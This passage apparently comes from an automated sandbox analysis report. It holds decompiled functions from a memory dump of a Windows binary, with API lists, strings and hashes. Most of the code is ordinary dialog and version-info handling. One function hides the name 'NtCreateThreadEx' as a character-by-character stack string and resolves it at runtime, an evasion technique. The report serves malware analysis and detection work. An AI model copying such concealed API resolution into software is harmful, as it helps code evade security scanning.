				goto L21;
			}

0x00408ae3
0x00408aeb
0x00408af3
0x00408b76
0x00408b8a
0x00408b91
0x00408b98
0x00408bb1
0x00408bb3
0x00408bc6
0x00408bcc
0x00408bda
0x00408be0
0x00408bf3
0x00408bfa
0x00408c0b
0x00408c12
0x00408c17
0x00408c1a
0x00408c2c
0x00408c39
0x00408c3d
0x00408c3f
0x00408c41
0x00408c52
0x00408c58
0x00408c58
0x00408c6f
0x00408c71
0x00408c73
0x00408c83
0x00408c89
0x00408c89
0x00408c8a
0x00408c8f
0x00408c91
0x00408c9a
0x00408c93
0x00408c93
0x00408c93
0x00408c9f
0x00408ca5
0x00408caf
0x00408cbc
0x00408cc2
0x00408cc7
0x00408ccd
0x00408cd0
0x00408cd6
0x00408cd7
0x00408cd8
0x00408cde
0x00408ce3
0x00408ceb
0x00408cfe
0x00408d03
0x00408d06
0x00408d0c
0x00408d21
0x00408d27
0x00408d0c
0x00000000
0x00408ca7
0x00408ca7
0x00408cad
0x00408d28
0x00408d2e
0x00408d35
0x00408d36
0x00408d42
0x00408d48
0x00408d4e
0x00408d54
0x00408d5a
0x00408d60
0x00408d66
0x00408d6c
0x00408d72
0x00408d73
0x00408d7f
0x00408d85
0x00408d8a
0x00408d8f
0x00408d90
0x00408da8
0x00408db9
0x00408dbf
0x00408dc5
0x00408dc5
0x00000000
0x00408cad
0x00408ca5
0x00408af6
0x00408afc
0x00408b07
0x00408b2a
0x00408b38
0x00408b53
0x00408b56
0x00408b62
0x00408b6a
0x00408b6a
0x00408b2a
0x00408b07
0x00000000

APIs

EndDialog.USER32 ref: 00408B20
GetDlgItem.USER32 ref: 00408B38
SendMessageW.USER32(00000000,000000B1,00000000,0000FFFF), ref: 00408B56
SendMessageW.USER32(?,00000301,00000000,00000000), ref: 00408B62
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00408B6A
memset.MSVCRT ref: 00408B91
memset.MSVCRT ref: 00408BB3
memset.MSVCRT ref: 00408BCC
memset.MSVCRT ref: 00408BE0
memset.MSVCRT ref: 00408BFA
memset.MSVCRT ref: 00408C12
GetCurrentProcess.KERNEL32 ref: 00408C1A
ReadProcessMemory.KERNEL32(00000000,?,00000080,00000000), ref: 00408C3D
ReadProcessMemory.KERNEL32(?,?,00000080,00000000), ref: 00408C6F
memset.MSVCRT ref: 00408CC2
GetCurrentProcessId.KERNEL32 ref: 00408CD0
memcpy.MSVCRT ref: 00408CFE
wcscpy.MSVCRT ref: 00408D21
_snwprintf.MSVCRT ref: 00408D90
SetDlgItemTextW.USER32 ref: 00408DA8
GetDlgItem.USER32 ref: 00408DB2
SetFocus.USER32(00000000), ref: 00408DB9

Strings

Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X, xrefs: 00408D85
{Unknown}, xrefs: 00408BA5

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Process$ItemMessageSend$CurrentMemoryRead$DialogFocusText_snwprintfmemcpywcscpy
String ID: Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X${Unknown}
API String ID: 4111938811-1819279800
Opcode ID: da6163a693f44e98dc338dc238bd85c57536ed619285caa4b2ce51e2a39adb2b
Instruction ID: 89cdabe1f300c5598f457b205db6f7bf21b56caa474a1127ebd0a37068e91017
Opcode Fuzzy Hash: da6163a693f44e98dc338dc238bd85c57536ed619285caa4b2ce51e2a39adb2b
Instruction Fuzzy Hash: FD7184B280021DBEDB219B51DD85EDB377CEF08354F0444BAFA08B6191DB799E848F68

Uniqueness

Uniqueness Score: -1.00%

Function 0040B04D, Relevance: 33.4, APIs: 8, Strings: 11, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040B04D(intOrPtr* __edi, short* _a4) {
				int _v8;
				void* _v12;
				void* _v16;
				int _v20;
				long _v60;
				char _v572;
				void* __esi;
				int _t47;
				void* _t50;
				signed short* _t76;
				void* _t81;
				void* _t84;
				intOrPtr* _t96;
				int _t97;

				_t96 = __edi;
				_t97 = 0;
				_v20 = 0;
				_t47 = GetFileVersionInfoSizeW(_a4,  &_v20);
				_v8 = _t47;
				if(_t47 > 0) {
					_t50 = E00405AA7(__edi);
					_push(_v8);
					L0040B26C();
					_t84 = _t50;
					GetFileVersionInfoW(_a4, 0, _v8, _t84);
					if(VerQueryValueW(_t84, "\\",  &_v12,  &_v8) != 0) {
						_t81 = _v12;
						_t11 = _t81 + 0x30; // 0x4d46e853
						 *((intOrPtr*)(__edi + 4)) =  *_t11;
						_t13 = _t81 + 8; // 0x8d50ffff
						 *__edi =  *_t13;
						_t14 = _t81 + 0x14; // 0x5900004d
						 *((intOrPtr*)(__edi + 0xc)) =  *_t14;
						_t16 = _t81 + 0x10; // 0x65e850ff
						 *((intOrPtr*)(__edi + 8)) =  *_t16;
						_t18 = _t81 + 0x24; // 0xf4680000
						 *((intOrPtr*)(__edi + 0x10)) =  *_t18;
						_t20 = _t81 + 0x28; // 0xbb0040cd
						 *((intOrPtr*)(__edi + 0x14)) =  *_t20;
					}
					if(VerQueryValueW(_t84, L"\\VarFileInfo\\Translation",  &_v16,  &_v8) == 0) {
						L5:
						wcscpy( &_v60, L"040904E4");
					} else {
						_t76 = _v16;
						_push(_t76[1] & 0x0000ffff);
						_push( *_t76 & 0x0000ffff);
						_push(L"%4.4X%4.4X");
						_push(0x14);
						_push( &_v60);
						L0040B1EC();
						if(E0040AFBE( &_v572, _t84,  &_v60, 0x40c4e8) == 0) {
							goto L5;
						}
					}
					E0040AFBE(_t96 + 0x18, _t84,  &_v60, L"ProductName");
					E0040AFBE(_t96 + 0x218, _t84,  &_v60, L"FileDescription");
					E0040AFBE(_t96 + 0x418, _t84,  &_v60, L"FileVersion");
					E0040AFBE(_t96 + 0x618, _t84,  &_v60, L"ProductVersion");
					E0040AFBE(_t96 + 0x818, _t84,  &_v60, L"CompanyName");
					E0040AFBE(_t96 + 0xa18, _t84,  &_v60, L"InternalName");
					E0040AFBE(_t96 + 0xc18, _t84,  &_v60, L"LegalCopyright");
					E0040AFBE(_t96 + 0xe18, _t84,  &_v60, L"OriginalFileName");
					_push(_t84);
					_t97 = 1;
					L0040B272();
				}
				return _t97;
			}

0x0040b04d
0x0040b05e
0x0040b060
0x0040b063
0x0040b06a
0x0040b06d
0x0040b076
0x0040b07b
0x0040b07e
0x0040b084
0x0040b08e
0x0040b0a8
0x0040b0aa
0x0040b0ad
0x0040b0b0
0x0040b0b3
0x0040b0b6
0x0040b0b8
0x0040b0bb
0x0040b0be
0x0040b0c1
0x0040b0c4
0x0040b0c7
0x0040b0ca
0x0040b0cd
0x0040b0cd
0x0040b0e5
0x0040b11f
0x0040b128
0x0040b0e7
0x0040b0e7
0x0040b0f1
0x0040b0f2
0x0040b0f3
0x0040b0fb
0x0040b0fd
0x0040b0fe
0x0040b11d
0x00000000
0x00000000
0x0040b11d
0x0040b13c
0x0040b151
0x0040b166
0x0040b17b
0x0040b190
0x0040b1a5
0x0040b1ba
0x0040b1cf
0x0040b1d6
0x0040b1d7
0x0040b1d8
0x0040b1de
0x0040b1e3

APIs

GetFileVersionInfoSizeW.VERSION(004064D2,?,00000000), ref: 0040B063
??2@YAPAXI@Z.MSVCRT ref: 0040B07E
GetFileVersionInfoW.VERSION(004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B08E
VerQueryValueW.VERSION(00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0A1
VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0DE
_snwprintf.MSVCRT ref: 0040B0FE
wcscpy.MSVCRT ref: 0040B128
??3@YAXPAX@Z.MSVCRT ref: 0040B1D8

Strings

LegalCopyright, xrefs: 0040B1AA
FileDescription, xrefs: 0040B141
OriginalFileName, xrefs: 0040B1BF
CompanyName, xrefs: 0040B180
ProductVersion, xrefs: 0040B16B
InternalName, xrefs: 0040B195
ProductName, xrefs: 0040B12F
%4.4X%4.4X, xrefs: 0040B0F3
FileVersion, xrefs: 0040B156
\VarFileInfo\Translation, xrefs: 0040B0D8
040904E4, xrefs: 0040B122

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileInfoQueryValueVersion$??2@??3@Size_snwprintfwcscpy
String ID: %4.4X%4.4X$040904E4$CompanyName$FileDescription$FileVersion$InternalName$LegalCopyright$OriginalFileName$ProductName$ProductVersion$\VarFileInfo\Translation
API String ID: 1223191525-1542517562
Opcode ID: 7d0a25dbe63dd51685ec4fd467e5617a4705a8ce8e8c15efb6301eb2ec3eaad9
Instruction ID: 283451b663653e95218ba9e6ce5340ec929c4f2fba7a9b8c11281d5ea0e9195a
Opcode Fuzzy Hash: 7d0a25dbe63dd51685ec4fd467e5617a4705a8ce8e8c15efb6301eb2ec3eaad9
Instruction Fuzzy Hash: E34144B2940219BAC704EBA5DD41DDEB7BDEF08704F100177B905B3181DB78AA59CBD8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A1EF, Relevance: 33.3, APIs: 2, Strings: 17, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E0040A1EF(struct HINSTANCE__** __esi) {
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				struct HINSTANCE__* _t27;

				if( *__esi != 0) {
					L3:
					return 1;
				}
				_t27 = LoadLibraryW(L"ntdll.dll");
				 *__esi = _t27;
				if(_t27 != 0) {
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					asm("stosb");
					_v24 = 0x4e;
					_v23 = 0x74;
					_v13 = 0x65;
					_v12 = 0x61;
					_v18 = 0x74;
					_v17 = 0x65;
					_v22 = 0x43;
					_v14 = 0x72;
					_v11 = 0x64;
					_v21 = 0x72;
					_v10 = 0x45;
					_v9 = 0x78;
					_v20 = 0x65;
					_v19 = 0x61;
					_v16 = 0x54;
					_v15 = 0x68;
					_v8 = 0;
					__esi[1] = GetProcAddress(_t27,  &_v24);
					goto L3;
				}
				return 0;
			}

0x0040a1f8
0x0040a26d
0x00000000
0x0040a26f
0x0040a205
0x0040a20b
0x0040a20d
0x0040a213
0x0040a214
0x0040a215
0x0040a216
0x0040a217
0x0040a219
0x0040a21f
0x0040a223
0x0040a227
0x0040a22b
0x0040a22f
0x0040a233
0x0040a237
0x0040a23b
0x0040a23f
0x0040a243
0x0040a247
0x0040a24b
0x0040a24f
0x0040a253
0x0040a257
0x0040a25b
0x0040a25f
0x0040a269
0x00000000
0x0040a26c
0x0040a271

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,?,?,?,0040A2A4), ref: 0040A1FF
GetProcAddress.KERNEL32(00000000,?), ref: 0040A263

Strings

T, xrefs: 0040A257
r, xrefs: 0040A23B
a, xrefs: 0040A22B
t, xrefs: 0040A22F
N, xrefs: 0040A21F
h, xrefs: 0040A25B
d, xrefs: 0040A23F
a, xrefs: 0040A253
e, xrefs: 0040A227
C, xrefs: 0040A237
r, xrefs: 0040A243
e, xrefs: 0040A24F
e, xrefs: 0040A233
ntdll.dll, xrefs: 0040A1FA
x, xrefs: 0040A24B
t, xrefs: 0040A223
E, xrefs: 0040A247

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID: C$E$N$T$a$a$d$e$e$e$h$ntdll.dll$r$r$t$t$x
API String ID: 2574300362-1257427173
Opcode ID: 7c4b767998ad850fb5a7cf24f594afd5e084a11fa120f3cae330cd392d2e2909
Instruction ID: 28a3addb3bc40b583479f690f9d6e65064931713b616a12c977b5f47a4008353
Opcode Fuzzy Hash: 7c4b767998ad850fb5a7cf24f594afd5e084a11fa120f3cae330cd392d2e2909
Instruction Fuzzy Hash: 08110A2090C6C9EDEB12C7FCC40879EBEF15B26709F0881ECC585B6292C6BA5758C776

Uniqueness

Uniqueness Score: -1.00%

Function 00407F8D, Relevance: 33.1, APIs: 22, Instructions: 137
windowCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00407F8D(void* __eax) {
				struct _SHFILEINFOW _v692;
				void _v1214;
				short _v1216;
				void* _v1244;
				void* _v1248;
				void* _v1252;
				void* _v1256;
				void* _v1268;
				void* _t37;
				long _t38;
				long _t46;
				long _t48;
				long _t58;
				void* _t62;
				intOrPtr* _t64;

				_t64 = ImageList_Create;
				_t62 = __eax;
				if( *((intOrPtr*)(__eax + 0x2b4)) != 0) {
					if( *((intOrPtr*)(__eax + 0x2bc)) == 0) {
						_t48 = ImageList_Create(0x10, 0x10, 0x19, 1, 1);
						 *(_t62 + 0x2a8) = _t48;
						__imp__ImageList_SetImageCount(_t48, 0);
						_push( *(_t62 + 0x2a8));
					} else {
						_v692.hIcon = 0;
						memset( &(_v692.iIcon), 0, 0x2b0);
						_v1216 = 0;
						memset( &_v1214, 0, 0x208);
						GetWindowsDirectoryW( &_v1216, 0x104);
						_t58 = SHGetFileInfoW( &_v1216, 0,  &_v692, 0x2b4, 0x4001);
						 *(_t62 + 0x2a8) = _t58;
						_push(_t58);
					}
					SendMessageW( *(_t62 + 0x2a0), 0x1003, 1, ??);
				}
				if( *((intOrPtr*)(_t62 + 0x2b8)) != 0) {
					_t46 =  *_t64(0x20, 0x20, 0x19, 1, 1);
					 *(_t62 + 0x2ac) = _t46;
					__imp__ImageList_SetImageCount(_t46, 0);
					SendMessageW( *(_t62 + 0x2a0), 0x1003, 0,  *(_t62 + 0x2ac));
				}
				 *(_t62 + 0x2a4) =  *_t64(0x10, 0x10, 0x19, 1, 1);
				_v1248 = LoadImageW(GetModuleHandleW(0), 0x85, 0, 0x10, 0x10, 0x1000);
				_t37 = LoadImageW(GetModuleHandleW(0), 0x86, 0, 0x10, 0x10, 0x1000);
				_v1244 = _t37;
				__imp__ImageList_SetImageCount( *(_t62 + 0x2a4), 0);
				_t38 = GetSysColor(0xf);
				_v1248 = _t38;
				ImageList_AddMasked( *(_t62 + 0x2a4), _v1256, _t38);
				ImageList_AddMasked( *(_t62 + 0x2a4), _v1252, _v1248);
				DeleteObject(_v1268);
				DeleteObject(_v1268);
				return SendMessageW(E0040331D( *(_t62 + 0x2a0)), 0x1208, 0,  *(_t62 + 0x2a4));
			}

0x00407f9b
0x00407fa3
0x00407fad
0x00407fb9
0x0040802e
0x00408032
0x00408038
0x0040803e
0x00407fbb
0x00407fc9
0x00407fd0
0x00407fe0
0x00407fe5
0x00407ff7
0x00408015
0x0040801b
0x00408021
0x00408021
0x00408051
0x00408051
0x00408059
0x00408065
0x00408069
0x0040806f
0x00408087
0x00408087
0x0040809c
0x004080bb
0x004080d1
0x004080de
0x004080e2
0x004080ea
0x004080fb
0x00408105
0x00408115
0x00408121
0x00408127
0x00408150

APIs

memset.MSVCRT ref: 00407FD0
memset.MSVCRT ref: 00407FE5
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00407FF7
SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00004001), ref: 00408015
ImageList_Create.COMCTL32(00000010,00000010,00000019,00000001,00000001), ref: 0040802E
ImageList_SetImageCount.COMCTL32(00000000,00000000), ref: 00408038
SendMessageW.USER32(?,00001003,00000001,?), ref: 00408051
ImageList_Create.COMCTL32(00000020,00000020,00000019,00000001,00000001), ref: 00408065
ImageList_SetImageCount.COMCTL32(00000000,00000000), ref: 0040806F
SendMessageW.USER32(?,00001003,00000000,?), ref: 00408087
ImageList_Create.COMCTL32(00000010,00000010,00000019,00000001,00000001), ref: 00408093
GetModuleHandleW.KERNEL32(00000000), ref: 004080A2
LoadImageW.USER32 ref: 004080B4
GetModuleHandleW.KERNEL32(00000000), ref: 004080BF
LoadImageW.USER32 ref: 004080D1
ImageList_SetImageCount.COMCTL32(?,00000000), ref: 004080E2
GetSysColor.USER32(0000000F), ref: 004080EA
ImageList_AddMasked.COMCTL32(?,00000000,00000000), ref: 00408105
ImageList_AddMasked.COMCTL32(?,?,?), ref: 00408115
DeleteObject.GDI32(?), ref: 00408121
DeleteObject.GDI32(?), ref: 00408127
SendMessageW.USER32(00000000,00001208,00000000,?), ref: 00408144

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Image$List_$CountCreateMessageSend$DeleteHandleLoadMaskedModuleObjectmemset$ColorDirectoryFileInfoWindows
String ID:
API String ID: 304928396-0
Opcode ID: d4ab9f05862d1af7c7dd0e0dd7fd39e91fe05cdd650fdb134c44776c28691368
Instruction ID: fc02d650de5297a4f4a3b2912da131a5170d4a501b91b7a2a94f7b4638737e48
Opcode Fuzzy Hash: d4ab9f05862d1af7c7dd0e0dd7fd39e91fe05cdd650fdb134c44776c28691368
Instruction Fuzzy Hash: 8F418971640304FFE6306B61DD8AF977BACFF89B00F00092DB795A51D1DAB55450DB29

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE90, Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0040AE90(void* __esi, wchar_t* _a4, wchar_t* _a8) {
				int _v8;
				void _v518;
				long _v520;
				void _v1030;
				char _v1032;
				intOrPtr _t32;
				wchar_t* _t57;
				void* _t58;
				void* _t59;
				void* _t60;

				_t58 = __esi;
				_v520 = 0;
				memset( &_v518, 0, 0x1fc);
				_v1032 = 0;
				memset( &_v1030, 0, 0x1fc);
				_t60 = _t59 + 0x18;
				_v8 = 1;
				if( *((intOrPtr*)(__esi + 4)) == 0xffffffff &&  *((intOrPtr*)(__esi + 8)) <= 0) {
					_v8 = 0;
				}
				_t57 = _a4;
				 *_t57 = 0;
				if(_v8 != 0) {
					wcscpy(_t57, L"<font");
					_t32 =  *((intOrPtr*)(_t58 + 8));
					if(_t32 > 0) {
						_push(_t32);
						_push(L" size=\"%d\"");
						_push(0xff);
						_push( &_v520);
						L0040B1EC();
						wcscat(_t57,  &_v520);
						_t60 = _t60 + 0x18;
					}
					_t33 =  *((intOrPtr*)(_t58 + 4));
					if( *((intOrPtr*)(_t58 + 4)) != 0xffffffff) {
						_push(E0040ADC0(_t33,  &_v1032));
						_push(L" color=\"#%s\"");
						_push(0xff);
						_push( &_v520);
						L0040B1EC();
						wcscat(_t57,  &_v520);
					}
					wcscat(_t57, ">");
				}
				if( *((intOrPtr*)(_t58 + 0xc)) != 0) {
					wcscat(_t57, L"<b>");
				}
				wcscat(_t57, _a8);
				if( *((intOrPtr*)(_t58 + 0xc)) != 0) {
					wcscat(_t57, L"</b>");
				}
				if(_v8 != 0) {
					wcscat(_t57, L"</font>");
				}
				return _t57;
			}

0x0040ae90
0x0040aeab
0x0040aeb2
0x0040aec0
0x0040aec7
0x0040aecc
0x0040aed3
0x0040aeda
0x0040aee1
0x0040aee1
0x0040aee7
0x0040aeea
0x0040aeed
0x0040aef9
0x0040aefe
0x0040af05
0x0040af07
0x0040af08
0x0040af13
0x0040af18
0x0040af19
0x0040af26
0x0040af2b
0x0040af2b
0x0040af2e
0x0040af34
0x0040af43
0x0040af44
0x0040af4f
0x0040af54
0x0040af55
0x0040af62
0x0040af67
0x0040af70
0x0040af76
0x0040af7a
0x0040af82
0x0040af88
0x0040af8d
0x0040af97
0x0040af9f
0x0040afa5
0x0040afa9
0x0040afb1
0x0040afb7
0x0040afbd

APIs

memset.MSVCRT ref: 0040AEB2
memset.MSVCRT ref: 0040AEC7
wcscpy.MSVCRT ref: 0040AEF9
_snwprintf.MSVCRT ref: 0040AF19
wcscat.MSVCRT ref: 0040AF26
_snwprintf.MSVCRT ref: 0040AF55
wcscat.MSVCRT ref: 0040AF62
wcscat.MSVCRT ref: 0040AF70
wcscat.MSVCRT ref: 0040AF82
wcscat.MSVCRT ref: 0040AF8D
wcscat.MSVCRT ref: 0040AF9F
wcscat.MSVCRT ref: 0040AFB1

Strings

</font>, xrefs: 0040AFAB
<b>, xrefs: 0040AF7C
<font, xrefs: 0040AEF3
color="#%s", xrefs: 0040AF44
size="%d", xrefs: 0040AF08
</b>, xrefs: 0040AF99

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscat$_snwprintfmemset$wcscpy
String ID: color="#%s"$ size="%d"$</b>$</font>$<b>$<font
API String ID: 3143752011-1996832678
Opcode ID: 330f77f369881cb7aaffb2d4d29cef926f955dd174757b27785871b236def110
Instruction ID: 2e7f7f44a8c08f278b605cd2082ab28bfbf3198b566a778c3f72e8233e5ba29a
Opcode Fuzzy Hash: 330f77f369881cb7aaffb2d4d29cef926f955dd174757b27785871b236def110
Instruction Fuzzy Hash: 2531C6B2904306A9D720EAA59D86E7E73BCDF40714F10807FF214B61C2DB7C9944D69D

Uniqueness

Uniqueness Score: -1.00%

Function 00403C03, Relevance: 30.2, APIs: 20, Instructions: 235
windowCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00403C03(void* __eflags) {
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* _t88;
				void* _t108;
				void* _t113;
				void* _t119;
				void* _t121;
				void* _t122;
				void* _t123;
				intOrPtr* _t124;
				void* _t134;

				_t113 = _t108;
				E00403B3C(_t113);
				E00403B16(_t113);
				DragAcceptFiles( *(_t113 + 0x10), 1);
				 *0x40f2f0 = SetWindowLongW(GetDlgItem( *(_t113 + 0x10), 0x3fd), 0xfffffffc, E00403A73);
				E00402DDD( *(_t113 + 0x10), _t113 + 0x40);
				 *(_t124 + 0x14) = LoadImageW(GetModuleHandleW(0), 0x65, 1, 0x10, 0x10, 0);
				 *((intOrPtr*)(_t124 + 0x24)) = LoadImageW(GetModuleHandleW(0), 0x65, 1, 0x20, 0x20, 0);
				SendMessageW( *(_t113 + 0x10), 0x80, 0,  *(_t124 + 0x10));
				SendMessageW( *(_t113 + 0x10), 0x80, 1,  *(_t124 + 0x14));
				E0040AD85(GetDlgItem( *(_t113 + 0x10), 0x402));
				 *_t124 = 0x3ea;
				E0040AD85(GetDlgItem(??, ??));
				 *_t124 = 0x3f1;
				_t116 = GetDlgItem( *(_t113 + 0x10),  *(_t113 + 0x10));
				E004049D9(_t49, E00405B81(0x259), 0x20);
				E004049D9(_t49, E00405B81(0x25a), 0x40);
				E004049D9(_t116, E00405B81(0x25b), 0x80);
				E004049D9(_t116, E00405B81(0x25c), 0x100);
				E004049D9(_t116, E00405B81(0x25d), 0x4000);
				E004049D9(_t116, E00405B81(0x25e), 0x8000);
				_t117 = GetDlgItem( *(_t113 + 0x10), 0x3f5);
				E004049D9(_t62, E00405B81(0x26c), 0);
				E004049D9(_t62, E00405B81(0x26d), 1);
				E004049D9(_t117, E00405B81(0x26e), 2);
				E004049D9(_t117, E00405B81(0x26f), 3);
				_t134 = _t124 + 0x78;
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x400);
				_t119 = 1;
				do {
					_t17 = _t119 + 0x280; // 0x281
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t17), _t119);
					_t134 = _t134 + 0xc;
					_t119 = _t119 + 1;
				} while (_t119 <= 9);
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x3fc);
				_t121 = 1;
				do {
					_t21 = _t121 + 0x294; // 0x295
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t21), _t121);
					_t134 = _t134 + 0xc;
					_t121 = _t121 + 1;
				} while (_t121 <= 3);
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x407);
				_t122 = 0;
				do {
					_t25 = _t122 + 0x2bc; // 0x2bc
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t25), _t122);
					_t134 = _t134 + 0xc;
					_t122 = _t122 + 1;
				} while (_t122 <= 0xd);
				 *((intOrPtr*)(_t134 + 0x10)) = GetDlgItem( *(_t113 + 0x10), 0x40c);
				_t123 = 0;
				do {
					_t29 = _t123 + 0x2ee; // 0x2ee
					E004049D9( *((intOrPtr*)(_t134 + 0x18)), E00405B81(_t29), _t123);
					_t134 = _t134 + 0xc;
					_t123 = _t123 + 1;
					_t143 = _t123 - 3;
				} while (_t123 < 3);
				SendDlgItemMessageW( *(_t113 + 0x10), 0x3fd, 0xc5, 0, 0);
				E00403EC3(GetDlgItem, _t113);
				SetFocus(GetDlgItem( *(_t113 + 0x10), 0x402));
				_t88 = E00402D78(_t113, _t143);
				E00402BEE(_t113);
				return _t88;
			}

0x00403c09
0x00403c0c
0x00403c11
0x00403c1b
0x00403c3f
0x00403c4a
0x00403c6e
0x00403c96
0x00403c9a
0x00403ca6
0x00403cb3
0x00403cb8
0x00403cc5
0x00403cca
0x00403cdd
0x00403ce6
0x00403cf8
0x00403d11
0x00403d26
0x00403d3f
0x00403d54
0x00403d6d
0x00403d76
0x00403d88
0x00403d9e
0x00403db0
0x00403db5
0x00403dc4
0x00403dc8
0x00403dc9
0x00403dca
0x00403dda
0x00403ddf
0x00403de2
0x00403de3
0x00403df4
0x00403df8
0x00403df9
0x00403dfa
0x00403e0a
0x00403e0f
0x00403e12
0x00403e13
0x00403e22
0x00403e26
0x00403e28
0x00403e29
0x00403e39
0x00403e3e
0x00403e41
0x00403e42
0x00403e51
0x00403e55
0x00403e57
0x00403e58
0x00403e68
0x00403e6d
0x00403e70
0x00403e71
0x00403e71
0x00403e87
0x00403e8d
0x00403e9e
0x00403ea6
0x00403eaf
0x00403ebc

APIs

Part of subcall function 00403B3C: memset.MSVCRT ref: 00403B5D
Part of subcall function 00403B3C: memset.MSVCRT ref: 00403B76
Part of subcall function 00403B3C: _snwprintf.MSVCRT ref: 00403B9F

Part of subcall function 00403B16: SetDlgItemTextW.USER32 ref: 00403B34

DragAcceptFiles.SHELL32(?,00000001), ref: 00403C1B
GetDlgItem.USER32 ref: 00403C2F
SetWindowLongW.USER32 ref: 00403C39

Part of subcall function 00402DDD: GetClientRect.USER32 ref: 00402DEF
Part of subcall function 00402DDD: GetWindow.USER32(?,00000005), ref: 00402E07
Part of subcall function 00402DDD: GetWindow.USER32(00000000), ref: 00402E0A
Part of subcall function 00402DDD: GetWindow.USER32(00000000,00000002), ref: 00402E16

GetModuleHandleW.KERNEL32(00000000), ref: 00403C57
LoadImageW.USER32 ref: 00403C6A
GetModuleHandleW.KERNEL32(00000000), ref: 00403C72
LoadImageW.USER32 ref: 00403C7F
SendMessageW.USER32(?,00000080,00000000,?), ref: 00403C9A
SendMessageW.USER32(?,00000080,00000001,?), ref: 00403CA6
GetDlgItem.USER32 ref: 00403CB0

Part of subcall function 0040AD85: GetProcAddress.KERNEL32(00000000,shlwapi.dll), ref: 0040AD9D
Part of subcall function 0040AD85: FreeLibrary.KERNEL32(00000000,?,00403CB8,00000000), ref: 0040ADB5

GetDlgItem.USER32 ref: 00403CC2
GetDlgItem.USER32 ref: 00403CD4

Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,00403490), ref: 00405BC0
Part of subcall function 00405B81: LoadStringW.USER32(00000000,000001F5,?), ref: 00405C59
Part of subcall function 00405B81: memcpy.MSVCRT ref: 00405C99

Part of subcall function 004049D9: SendMessageW.USER32(?,00000143,00000000,?), ref: 004049F0
Part of subcall function 004049D9: SendMessageW.USER32(?,00000151,00000000,?), ref: 00404A02

Part of subcall function 00405B81: wcscpy.MSVCRT ref: 00405C02
Part of subcall function 00405B81: wcslen.MSVCRT ref: 00405C20
